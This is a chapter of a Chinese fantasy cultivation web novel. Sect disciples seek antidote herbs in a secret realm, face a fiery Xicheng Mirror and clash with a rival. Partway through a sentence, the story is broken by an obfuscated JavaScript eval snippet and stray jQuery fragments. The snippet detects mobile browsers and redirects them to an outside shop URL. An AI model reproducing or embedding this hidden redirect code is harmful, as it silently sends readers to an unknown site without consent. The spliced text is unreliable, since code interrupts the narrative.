5. 第 5 章
    “云师妹,真是厉害。”曲琴心半个眼神都没分给云落星,反倒是直勾勾地盯着池砚,“我听说了,风闲仙尊不在,都是大师兄在代行职责。能教导出云师妹这样的苗子,实属不易,真希望有机会和大师兄切磋一番。”

    池砚摆弄着他那提灯,摆好的清灵叶调来调去,一会儿摸摸灯骨架,一会搓搓提手,满脸写着这提灯可真提灯啊。

    曲琴心半天没听着个响,恨恨的跺了跺脚,转头就走,连带着她的保镖男团也浩浩荡荡地追着她走了。

    云落星只觉得这群怪人一走,连空气都清新了。

    “呀!不好了!”

    叶染枫愤怒又心疼地扶着摇摇欲坠的谢无忧:“他们可真是卑鄙小人,亏得师妹还为那女人解毒,他们的人使了毒却藏着不说了。”

    谢无忧早在云落星替换时就在流血的伤竟还在渗血,伤口处皮肉外卷,刀痕发紫,显然是毒侵入体,碍了恢复。

    那瑶乐宗一行人早已走远,众人无法分辨此乃何毒,只得尽快回了宗门请医修前来医治。

    “他怎么样?”叶染枫见那医修的眉头越皱越紧,直到拧成个疙瘩,紧张不已。

    那医修将谢无忧体内的几根银针取出,无一例外泛着怪异的灰紫色。他将创口简单清理,没有进一步处理便缠了绷带。

    “情况不好。此毒对剑修最是狠毒,毒会在一月内缓慢汇聚至用剑之手,届时此侧的臂膀将无力回天,只得切除以保全身体。”医修燃了一块木牌,“这毒并非天然形成,而是再制的复合型毒素,目前的解药只有一种,就是降青草和璃火羽制成的丹药。只是这两样材料皆是难寻,目前宗门中也未有存货。”

    “那怎么行……一个月根本来不及找。”叶染枫焦急地直掉眼泪,“就没有别的办法了?”

    “也不是没有……只是……”那医修满面愁容,似有难言之隐。

    叶染枫恨不得拥有读心术,省的在这打哑谜:“只是什么!你快说呀!”

    “唉,只是那法子比这毒还毒啊!”医修直摆手,“那毒是冲着剑修去的,只要有实力更强的剑修以身饲毒,那毒便尽数转移到新人身上。”

    “我来!”叶染枫毫不犹豫,将袖子一撸,提了剑就要划。

    众人赶忙拦着叶染枫,连昏昏沉沉的谢无忧都清醒了不少,一只手无力地拽着叶染枫提剑的手,死活也不松开。

    正是一片乱套之时,那医修面前忽的出现一块木牌,他瞥了木牌一眼,一扫愁容,欢欢喜喜地按下了要英勇就义的叶染枫:“好了好了,师妹,那材料有头绪了!”

    “瞧。”他把刚送回的木牌展示给众人,“夕澄秘境已开了,这两天各界修士都可进入寻宝,那秘境正是璃火鸟的盛产地,既然有璃火鸟,那必是少不了降青草,且这两种材料虽是珍贵难寻,在那夕澄秘境里确实排不上号的。大多人皆是冲着那秘境中飞升修士留下的夕澄镜去的。”

    “可是就算我们现在紧赶慢赶去了秘境,寻到两样材料少则三天,多则一周,这期间谢师弟的手会不会有什么损伤……”叶染枫仍是担心,那可是剑修最重要的手,不说没了,就是有半点损伤,都会对修炼造成巨大的影响,一个不好,可就是决定能不能飞升的大问题。

    “不碍事。那毒有个特性,在全部汇聚到用剑之手之前,不会发作最大毒性,你们只要在一月内弄来那些材料,这位师弟的手都有的治,保证和没病没痛前一模一样。”

    众人商议后,决定即刻出发前往夕澄秘境,常晟身上的毒才好便又上了擂台,便留下来照看谢无忧,也好起个传话筒的作用,免得计划赶不上变化。

    传送符只能定位去过的地方,此次秘境开启处又没有大传送阵,几人只得自行前去。

    叶染枫剑术一向不错,御剑更是不成问题,顾时久同时挂了飞行符、急速符,速度也不比御剑慢,只是云落星没什么赶路手段,便蹭了池砚的提灯车。

    嗯……是真的坐在提灯里,云落星本想和池砚一样坐在提灯杆上,但总觉得坐不稳当,便听了池砚的话进了放大后的提灯当少爷。

    别说,池砚倒是贴心极了,特地换了普通样式的提灯,里面铺了软座,一面玻璃还开了小窗便于透气。

    云落星见四周的天空迅速被晕染上一层晚霞的颜色,这便预示着快到他们的目的地——夕澄秘境了。

    这秘境由于内藏夕澄镜的缘故,每次开启必在云端,隔着几里的天空都会受其影响如同傍晚,而秘境入口更是形如夕阳。

    入口处已是只有稀稀拉拉的寻宝者,大部分人都在开启之时便进去了,云落星几人正好免了和众人争抢,找了个合适的落脚点进了秘境。

    “璃火鸟虽有一个火字,却无法生活在炎热的区域。”顾时久打量四周,“这夕澄秘境本是萧瑟如秋的地方,璃火鸟随处可见。自从那仙尊在此飞升,留下夕澄镜,便改变了此处的环境,有一半的地方不再适宜璃火鸟生存,倒是省了我们无头苍蝇似的乱找一气。”

    众人根据气温波动选了处温度较低的路探寻起来。

    云落星却总觉得不太对劲,按理来说应是越前行,越凉爽,怎得走了一段后不仅没降下去,反而有点升温的意思。

    “你们有没有觉得好像有点热了?”云落星不敢确定是不是自己走热了,“大师兄,你觉得呢?”

    池砚是冰灵根,常年身上冰冰凉凉的,肯定比她更能觉出异常。

    “是热了不少。”池砚凝了块薄冰,似乎确实有点要化的意思。

    冰面反射着周围的光,显得亮闪闪的。

    “都让开!”池砚忽然扯了云落星就跃上了高空,顾时久和叶染枫也一惊,很快做出反应后跃出一大段距离。

    流星一闪!那远处而来的爆燃不明物体在身后拉出一截焦焰拖尾,它划过的地方连空气都被加热的微微扭曲,而热浪仍在蔓延,以那轨迹线为中心轴,迅速侵染着四周的土地,许多畏热的植物在如此高温下迅速

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717301|144791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枯萎蒸发,变成一节枯草。

    那物体并未在路过云落星一行人后继续前行,反倒像是锁定目标一样,冲着云落星就冲了过来。

    池砚迅速带着云落星找了地方降落,从乾坤袋中掏了一株还鲜活的盆栽,连根拔出扔进了提灯中。

    那极夜花被丢进提灯,四周冰灯罩一封,便即刻大放光芒,极刺眼的淡蓝光芒闪过后,转化成黑色的暗芒闪烁其中,反而比蓝色光芒大盛时功力更足,以提灯为圆心迅速划出一片冰天雪地。

    池砚挡在云落星面前,提灯直指不明物体,从灯中射出的暗色冰柱打在不明物体上发出滋啦滋啦的声音,那物体着实受到了一定冲击,连火焰的颜色都有些变暗,却仍未熄灭,总是吊着一个最低限度在燃烧。

    那提灯的冰罩已有些许融化,池砚皱眉,加强对其的灵力输出,效果却不理想。

    云落星认出了那极夜花。

    她压下池砚一直拦着她的手臂,池砚疑惑地转头,两人对视的一刹那,云落星还未开口,池砚迅速撤了对提灯的灵力输出,转而凝了个四四方方的冰盒子暂时困住不明物体,又反手将提灯转了个方向递给云落星。

    绝了!这配合。

    云落星心下感叹,手不停歇,直接掏了那提灯里的极夜花,果然,这提灯有类似保鲜的效果,刚从盆里出土的极夜花被她碰到也有炼化的效果。

    那极夜花本是纯白而透明的颜色,在她手腕扎根后倒是像吸了墨水一般染上黑色,直到整朵花的花瓣都变成极夜一般的黑色。

    不明物体已经结束了和冰盒子的争斗,火焰半死不活地死撑着,还死性不改地要往云落星怀里冲。

    却不想那纯黑色的极夜花片片凋落,瞬间在方圆十米内形成了一片极夜区域,天色转黑,彩色的光带在空中闪烁,气温骤降。

    所有的火焰消失无踪,随着火焰的熄灭,那不明物体也露出了本来面目。

    “这是……夕澄镜?!”

    “怎么会在这?”

    云落星几人正疑惑之时,远远传来一声尖叫。

    “我们的夕澄镜!”

    阴魂不散啊,冤家路窄。云落星直捂心口,谁能想到曲琴心一行人也来这秘境,才与女主分别不到半天,就又遇上了。

    “怎么说是你们的呢?”叶染枫一想到这群人才害得谢无忧有生命危险,就气不打一处来,“你少说废话,你倒是解释解释怎么毒了我师弟就跑了!”

    “那是……那不重要!重要的是这夕澄镜是我们找到的,激活夕澄镜需要火种你们都知道吧,那火种是我们提供的。”曲琴心指着保镖团中一位虚弱男子,显然是将一身的火灵气全用去激活夕澄镜了。

    真不知她为何那样在乎夕澄镜,原本甜甜的声音听着都有些尖锐了,明明她是冰灵根,应该不会需要夕澄镜才对。

    但云落星没空跟她瞎扯,谢无忧可等不起。她一把将那镜子往曲琴心怀里丢:“拿着拿着,别再烦了。”